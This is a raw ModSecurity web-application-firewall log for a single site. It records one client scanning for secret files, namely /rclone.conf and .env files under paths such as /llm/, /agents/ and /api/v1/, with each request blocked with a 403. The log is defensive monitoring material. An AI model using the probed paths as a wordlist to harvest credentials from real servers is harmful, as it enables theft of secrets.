[Sun Oct 25 15:18:13.465323 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5V9SKKYgNzbRNd-8H80QAAABk"]
[Sun Oct 25 15:18:13.465563 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5V9SKKYgNzbRNd-8H80QAAABk"]
[Sun Oct 25 15:18:13.465620 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5V9SKKYgNzbRNd-8H80QAAABk"]
[Sun Oct 25 15:18:13.465634 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5V9SKKYgNzbRNd-8H80QAAABk"]
[Sun Oct 25 15:18:13.466880 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5V9eNFKka2-rJ01WB_BQAAAAk"]
[Sun Oct 25 15:18:13.467030 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5V9eNFKka2-rJ01WB_BQAAAAk"]
[Sun Oct 25 15:18:13.467246 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5V9eNFKka2-rJ01WB_BQAAAAk"]
[Sun Oct 25 15:18:13.607852 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5V9XXh3gJECtnR93iQbwAAABU"]
[Sun Oct 25 15:18:13.608076 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5V9XXh3gJECtnR93iQbwAAABU"]
[Sun Oct 25 15:18:13.608382 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5V9XXh3gJECtnR93iQbwAAABU"]
[Sun Oct 25 15:18:13.609536 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5V9UEcNhfmEEfjyh7voQAAACI"]
[Sun Oct 25 15:18:13.609708 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5V9UEcNhfmEEfjyh7voQAAACI"]
[Sun Oct 25 15:18:13.609969 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5V9UEcNhfmEEfjyh7voQAAACI"]
[Sun Oct 25 15:18:13.696047 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5V9eiJA1fzv0ndEdTr7QAAACM"]
[Sun Oct 25 15:18:13.696261 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5V9eiJA1fzv0ndEdTr7QAAACM"]
[Sun Oct 25 15:18:13.696586 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5V9eiJA1fzv0ndEdTr7QAAACM"]
[Sun Oct 25 15:18:13.698019 2026] [security2:error] [pid 2887600:tid 2887600] [client 34.95.254.114:60838] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5V9bqLXqnhRiZbeoej3AAAACc"]
[Sun Oct 25 15:18:13.698195 2026] [security2:error] [pid 2887600:tid 2887600] [client 34.95.254.114:60838] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5V9bqLXqnhRiZbeoej3AAAACc"]
[Sun Oct 25 15:18:13.698423 2026] [security2:error] [pid 2887600:tid 2887600] [client 34.95.254.114:60838] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5V9bqLXqnhRiZbeoej3AAAACc"]
[Sun Oct 25 15:18:13.703632 2026] [security2:error] [pid 2887591:tid 2887591] [client 34.95.254.114:60740] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5V9VUS2RpnCYnXyx8J2AAAAB8"]
[Sun Oct 25 15:18:14.102028 2026] [security2:error] [pid 2887591:tid 2887591] [client 34.95.254.114:60740] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5V9VUS2RpnCYnXyx8J2AAAAB8"]
[Sun Oct 25 15:18:14.102405 2026] [security2:error] [pid 2887591:tid 2887591] [client 34.95.254.114:60740] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5V9VUS2RpnCYnXyx8J2AAAAB8"]
[Sun Oct 25 15:18:13.714810 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5V9SKKYgNzbRNd-8H80gAAABk"]
[Sun Oct 25 15:18:14.102986 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5V9SKKYgNzbRNd-8H80gAAABk"]
[Sun Oct 25 15:18:14.103244 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5V9SKKYgNzbRNd-8H80gAAABk"]
[Sun Oct 25 15:18:14.104012 2026] [security2:error] [pid 2887597:tid 2887597] [client 34.95.254.114:60782] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5V9XPfj2mbBYdumstnsQAAACQ"]
[Sun Oct 25 15:18:14.588204 2026] [security2:error] [pid 2887597:tid 2887597] [client 34.95.254.114:60782] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5V9XPfj2mbBYdumstnsQAAACQ"]
[Sun Oct 25 15:18:14.363848 2026] [security2:error] [pid 2887591:tid 2887591] [client 34.95.254.114:60740] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5V9lUS2RpnCYnXyx8J2QAAAB8"]
[Sun Oct 25 15:18:14.608002 2026] [security2:error] [pid 2887591:tid 2887591] [client 34.95.254.114:60740] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5V9lUS2RpnCYnXyx8J2QAAAB8"]
[Sun Oct 25 15:18:14.608414 2026] [security2:error] [pid 2887591:tid 2887591] [client 34.95.254.114:60740] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5V9lUS2RpnCYnXyx8J2QAAAB8"]
[Sun Oct 25 15:18:14.364622 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5V9uiJA1fzv0ndEdTr7gAAACM"]
[Sun Oct 25 15:18:14.609103 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5V9uiJA1fzv0ndEdTr7gAAACM"]
[Sun Oct 25 15:18:14.609519 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5V9uiJA1fzv0ndEdTr7gAAACM"]
[Sun Oct 25 15:18:14.376347 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5V9iKKYgNzbRNd-8H80wAAABk"]
[Sun Oct 25 15:18:14.610408 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5V9iKKYgNzbRNd-8H80wAAABk"]
[Sun Oct 25 15:18:14.610698 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5V9iKKYgNzbRNd-8H80wAAABk"]
[Sun Oct 25 15:18:14.380382 2026] [security2:error] [pid 2887600:tid 2887600] [client 34.95.254.114:60838] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5V9rqLXqnhRiZbeoej3QAAACc"]
[Sun Oct 25 15:18:14.611138 2026] [security2:error] [pid 2887600:tid 2887600] [client 34.95.254.114:60838] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5V9rqLXqnhRiZbeoej3QAAACc"]
[Sun Oct 25 15:18:14.611405 2026] [security2:error] [pid 2887600:tid 2887600] [client 34.95.254.114:60838] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5V9rqLXqnhRiZbeoej3QAAACc"]
[Sun Oct 25 15:18:14.388696 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5V9uNFKka2-rJ01WB_BgAAAAk"]
[Sun Oct 25 15:18:14.611855 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5V9uNFKka2-rJ01WB_BgAAAAk"]
